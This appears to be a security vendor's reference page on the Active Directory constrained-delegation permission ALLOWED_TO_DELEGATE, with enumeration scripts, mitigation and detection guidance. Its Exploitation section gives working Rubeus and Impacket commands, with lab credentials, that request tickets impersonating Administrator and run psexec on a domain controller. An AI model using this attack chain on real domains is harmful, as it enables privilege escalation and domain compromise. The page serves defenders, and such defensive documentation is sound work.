ALLOWED_TO_DELEGATE

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Summary


Forestall ACL Alias	ALLOWED_TO_DELEGATE
AD Alias	Trust this computer for delegation
Affected Object Types	Computers
Exploitation Certainty	Likely
AD Attribute	msDS-AllowedToDelegateTo
AD Attribute GUID	800d94d7-b7a1-42a1-b14d-7cae1423d07f

Description

The ALLOWED_TO_DELEGATE permission in Active Directory allows a computer account to delegate user credentials when authenticating to services on behalf of those users. This enables constrained Kerberos delegation scenarios and can support single sign-on and service-to-service authentication within a network. When configured correctly, ALLOWED_TO_DELEGATE lets trusted computers handle delegated authentication without exposing user credentials.

If misconfigured or abused, however, ALLOWED_TO_DELEGATE presents a significant security risk. An attacker who can modify or exploit this permission can create unauthorized delegation paths and impersonate users — possibly including privileged accounts such as Domain Administrators. This can lead to unauthorized data access, privilege escalation, and broader compromise of network resources. Therefore, restrict and monitor the use of ALLOWED_TO_DELEGATE to protect the Active Directory environment.

Identification

PowerShell

Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate ALLOWED_TO_DELEGATE entries.

1. Find-AllowedToDelegate function

function Find-AllowedToDelegate {
    [CmdletBinding()] param([string]$Target=$null,[string]$SearchBase=$null,[string]$OutputPath="AllowedToDelegate.csv",[switch]$ExcludeAdmin=$false)
    if (-not (Get-Module ActiveDirectory)) { try { Import-Module ActiveDirectory } catch { Write-Error "Load ActiveDirectory (RSAT) first."; return } }
    $props=@("servicePrincipalName","msDS-AllowedToDelegateTo","distinguishedName","objectClass","name")
    $base = if ($SearchBase) { $SearchBase } else { (Get-ADRootDSE).DefaultNamingContext }
    try {
        if ($Target) {
            try { $objs = Get-ADObject -Identity $Target -Properties $props -EA Stop } catch { $objs = Get-ADObject -Filter "samAccountName -eq '$Target' -or name -eq '$Target'" -SearchBase $base -Properties $props -EA Stop }
        } else {
            $objs = Get-ADObject -LDAPFilter "(servicePrincipalName=*)" -SearchBase $base -Properties $props -EA Stop
        }
    } catch { Write-Error "AD query failed: $($_.Exception.Message)"; return }
    if (-not $objs) { Write-Output "No objects with SPNs found."; return }
    $rows=@()
    foreach($o in $objs){
        if($ExcludeAdmin -and ($o.distinguishedName -match "OU=Domain Controllers|CN=Domain Controllers")){ continue }
        if($o.'msDS-AllowedToDelegateTo'){ foreach($spn in $o.'msDS-AllowedToDelegateTo'){ $rows += [pscustomobject]@{ 'Allowed to delegate'=$o.Name; 'To'=$spn } } }
    }
    if($rows.Count -gt 0){ try { $rows|Sort-Object -Unique 'Allowed to delegate','To'|Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -EA Stop; Write-Output "Exported to '$OutputPath'." } catch { Write-Error "Export failed: $($_.Exception.Message)" } } else { Write-Output "No 'msDS-AllowedToDelegateTo' values found." }
}

2. Scan all domain computers

Find-AllowedToDelegate

3. Scan a specified object

Find-AllowedToDelegate -Target sql_svc

4. Using SearchBase to limit the scope

Find-AllowedToDelegate -SearchBase "CN=sql_svc,CN=Users,DC=Forestall,DC=labs"

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate ALLOWED_TO_DELEGATE entries without relying on external modules or dependencies.

1. Find-AllowedToDelegateSimple function

function Find-AllowedToDelegateSimple {
    [CmdletBinding()] param([string]$Target)
    try {
        if ($Target) {
            $entries=@(New-Object System.DirectoryServices.DirectoryEntry("LDAP://$Target"))
            $rows = foreach($e in $entries){
                $dn=$e.Properties["distinguishedName"].Value
                foreach($spn in $e.Properties["msDS-AllowedToDelegateTo"]){ [pscustomobject]@{ AccountDN=$dn; DelegateToSPN=$spn } }
            }
        } else {
            $baseDN=(New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE")).Properties["defaultNamingContext"].Value
            $sr=New-Object System.DirectoryServices.DirectorySearcher("LDAP://$baseDN"); $sr.Filter="(msDS-AllowedToDelegateTo=*)"; $sr.PageSize=1000
            foreach($p in "distinguishedName","msDS-AllowedToDelegateTo"){[void]$sr.PropertiesToLoad.Add($p)}
            $hits=$sr.FindAll()
            $rows = foreach($h in $hits){
                $dn=$h.Properties["distinguishedname"][0]
                foreach($spn in $h.Properties["msds-allowedtodelegateto"]){ [pscustomobject]@{ AccountDN=$dn; DelegateToSPN=$spn } }
            }
        }
    } catch { Write-Error "LDAP enumeration failed: $($_.Exception.Message)"; return }
    if($rows){$rows|Export-Csv ".\AllowedToDelegate.csv" -NoTypeInformation -Encoding UTF8; Write-Host "Exported $($rows.Count) entries to AllowedToDelegate.csv" }
    else{ Write-Host "No 'msDS-AllowedToDelegateTo' values found." }
}

2. Scan all objects in the domain

Find-AllowedToDelegateSimple

3. Scan a specific object

Find-AllowedToDelegateSimple -Target "CN=VM01,OU=Workstations,DC=forestall,DC=labs"

Active Directory Users and Computers

1. Open Active Directory Users and Computers on your Windows server.

2. Right-click on the Computer name.

3. Select Properties from the context menu.

4. In the Properties window, navigate to the Delegation tab.

5. In the Delegation list, locate and check the Trust this computer for delegation setting.

6. Click OK to save your changes and close the dialog boxes.

Impacket

impacket-findDelegation <domain>/<user>':'<pass>'

impacket-findDelegation forestall.labs/'adam':'Temp123!'

Exploitation

This attack assumes that the password or hash of the account allowed to delegate has already been obtained.

Windows

To calculate the hash for a specific user

.\Rubeus.exe hash /domain:<domain> /password:"<pass>" /user:<user>

Example:

.\Rubeus.exe hash /domain:forestall.labs /password:"JustLongPass123!@#" /user:sql_svc

To get a service ticket as an impersonated user

.\Rubeus.exe s4u /user:ATTACKER [/rc4:HASH OR /aes256:HASH] /impersonateuser:TARGETUSER /msdsspn:cifs/targetserver.domain.local /nowrap /ptt

Example:

.\Rubeus.exe s4u /user:sql_svc /aes256:70161674048D42869D74A9AFC31DAF7C7130CF6519C8FE972B8A6FDACF85AE1E /impersonateuser:Administrator /msdsspn:cifs/dc.forestall.labs /nowrap /ptt

To check access on the target

Linux

impacket-getST -spn <serviceallowedtodelegateTo>/<dchost> -impersonate <impersonatedUser> <domain>/<user>:'<pass>'

Example:

impacket-getST -spn cifs/dc.forestall.labs -impersonate administrator forestall.labs/sql_svc:'JustLongPass123!@#'

Code Execution

KRB5CCNAME='<ticket>' impacket-psexec -k -no-pass <domain>/<impersonatedUser> -k -no-pass

Example:

KRB5CCNAME='administrator@[email protected]' impacket-psexec -k -no-pass forestall.labs/[email protected]

Mitigation

Access Control Entries identified as dangerous should be removed following the steps below.

1. Open Active Directory Users and Computers on a Windows server with the appropriate administrative tools.

2. Right-click the computer object.

3. Select Properties from the context menu.

4. In the Properties window, open the Delegation tab.

5. Disable or clear the “Trust this computer for delegation” setting for the computer if it is not required.

6. Click OK to save your changes and close the dialogs.

Detection

Changes to ACEs update an object’s ntSecurityDescriptor. Watch Event ID 5136 (object modified) and 4662 (object access) for ACL changes. For delegation activity, monitor Kerberos logs: 4768 (TGT request) and 4769 (service ticket request), and pivot on fields like TargetUserName and ServiceName to spot suspicious behavior.

Event ID	Description	Fields/Attributes	References
5136	A directory service object was modified.	ntSecurityDescriptor	https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136
4662	An operation was performed on an object.	AccessList, AccessMask	https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662
4768	A Kerberos authentication ticket (TGT) was requested.	TargetUserName	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768
4769	A Kerberos service ticket was requested.	TargetUserName, ServiceName	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769

ALLOWED_TO_DELEGATE

Summary

Description

Identification

PowerShell

Active Directory Module

.NET Directory Services

Active Directory Users and Computers

Impacket

Exploitation

Windows

To calculate the hash for a specific user

To get a service ticket as an impersonated user

To check access on the target

Linux

Mitigation

Detection

References